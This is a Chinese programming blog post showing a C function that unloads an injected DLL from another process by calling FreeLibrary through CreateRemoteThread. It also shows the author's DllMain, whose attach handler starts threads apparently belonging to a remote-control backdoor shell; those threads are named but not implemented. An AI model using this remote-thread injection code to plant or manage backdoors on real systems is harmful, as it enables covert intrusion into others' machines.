卸载远线程中被注入的dll

本文介绍了一个用于从远程进程中卸载DLL的C语言函数intUninject,并展示了如何使用该函数来实现DLL的卸载。此外,还提供了一个DLLMain函数的例子,用于处理DLL加载过程中的不同阶段。
int Uninject(DWORD pid, char *dll)
{
    HANDLE hProcess = NULL, hThread = NULL, hthSnapshot = NULL;
    MODULEENTRY32 hMod = {sizeof(hMod)};


    hthSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,pid);
    if (hthSnapshot == NULL)
    {
        return 0;
    }

    BOOL bMoreMods = Module32First(hthSnapshot, &hMod);
    if (bMoreMods == FALSE)
    {
        return FALSE;
    }

    for (;bMoreMods; bMoreMods = Module32Next(hthSnapshot, &hMod))
    {
        if ((!stricmp(hMod.szExePath, dll))||(!stricmp(hMod.szModule,dll)))
        {
            hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION, FALSE, pid);
            if (hProcess == NULL)
            {
                return 0;                
            }
            
            
            PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"), "FreeLibrary");
            
            if (pfnThreadRtn == NULL)    
            {
                return 0;
            }
            
            
            hThread = CreateRemoteThread(hProcess,NULL,0,pfnThreadRtn,hMod.modBaseAddr,0,NULL);
            
            if (hThread == NULL)    
            {
                return 0;    
            }
            
            WaitForSingleObject(hThread, INFINITE);
            CloseHandle(hThread);
            CloseHandle(hthSnapshot);
            CloseHandle(hProcess);        
        }    
    }
    return 1;
}

结果就是,应用程序出错,呵呵,变相卸载。:(


再贴出我的DLLMAIN,


BOOL APIENTRY DllMain( HANDLE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
                      )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hXDll = hModule;
        CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)GetControlHostandPort,NULL,0,NULL);
        CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartXBShell_Main,(LPVOID)0,0,NULL);
        CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartXBShell_Main,(LPVOID)1,0,NULL);
        break;
        
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        //FreeLibraryAndExitThread((HINSTANCE)hXDll,0);
        //FreeLibrary((HINSTANCE)hXDll);
#endif
        break;
    }
    
    return TRUE;
}
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值